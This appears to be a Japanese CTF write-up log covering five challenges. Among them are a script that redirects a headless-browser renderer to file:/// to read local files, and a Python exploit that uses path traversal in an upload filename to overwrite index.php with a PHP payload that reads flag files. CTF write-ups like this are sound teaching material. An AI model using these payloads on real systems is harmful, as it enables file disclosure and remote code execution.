Index

4/19 HTML2PNG

入力した HTML は /tmp/<uuid>.html として保存され、Puppeteer が file:// でそのローカルファイルを開いてスクリーンショットを返してくれる。ユーザー HTML 側から file:/// を開かせると、コンテナの root directory listing がそのまま見え、/flag-xxxxxxxx.txt という実ファイル名まで分かる。ファイル名でもう一度開く。

<script>location="file:///"</script>
<script>location="file:///{name}"</script>

4/20 fake-shuffle-proof

issue では異色ペアしか受け付けないが、proof の中身はカードの実体ではなくrankだけをcommit している。 つまり proof は rank の並びしか bind していない。

そのため、異色の A/K ペアで取った proof を、同じ rank 構造を持つ同色ペアにそのまま使い回せる。 たとえば issue(0,3) で得た proof を verify(0,2) に入れると、 proof は通るが is_diff_color は偽なので、そのままフラグ分岐に入る。

4/21 is NaN?

入力は 16 桁の hex で、deadbeef を部分文字列として含み、さらにその 64-bit 値を double として解釈したとき isnan() を満たせばよい。IEEE 754 の倍精度では exponent が all 1 で、fraction が 0 でなければ NaN なので、たとえば 0x7ff8deadbeef0000 はその条件をそのまま満たす。

IEEE 754 - Wikipedia

4/22 Rate My Alpaca

$_FILES['file']['full_path'] をそのまま /var/www/uploads/ に連結して move_uploaded_file() しているので、multipart の filename を細工すると path traversal で upload 先を任意の既存ディレクトリ配下へずらせる。

/var/www/html/index.phpglob('/flag-*') を読む PHP を上書きし、その後 / を開き直すと flag がそのまま表示される。

import time
import requests

url = "<http://34.170.146.252:52230>"
payload = b'<?php foreach (glob("/flag-*") as $f) { echo file_get_contents($f); } ?>'

requests.post(
    url,
    files={"file": ("../html/index.php", payload, "application/x-php")},
)
time.sleep(1)
print(requests.get(url).text)

4/23 Camelid Match ★author’s writeup

秘密計算の入門として出題。

row(a, b) は Alice/Bob の好みを隠しているように見えるが、 YES='♡♧', NO='♧♡', MID='♡' から作った5文字列を回転しているだけ。 a and b が真のときだけ、2つの が円環上で隣接する。

したがって Open cards: の5文字を読み、 隣接する ♧♧ が通常位置または末尾-先頭にあれば y、なければ n を返せば10問すべて通る。

<aside> 💡

このネタの面白いところは、一方がNoの場合に相手がYes/Noどちらか判別不能になるので 相手は好きだった/嫌いだった という心理的な不安を消すのに有効なところです。 あとトランプ持ってればどこでも遊べます。

</aside>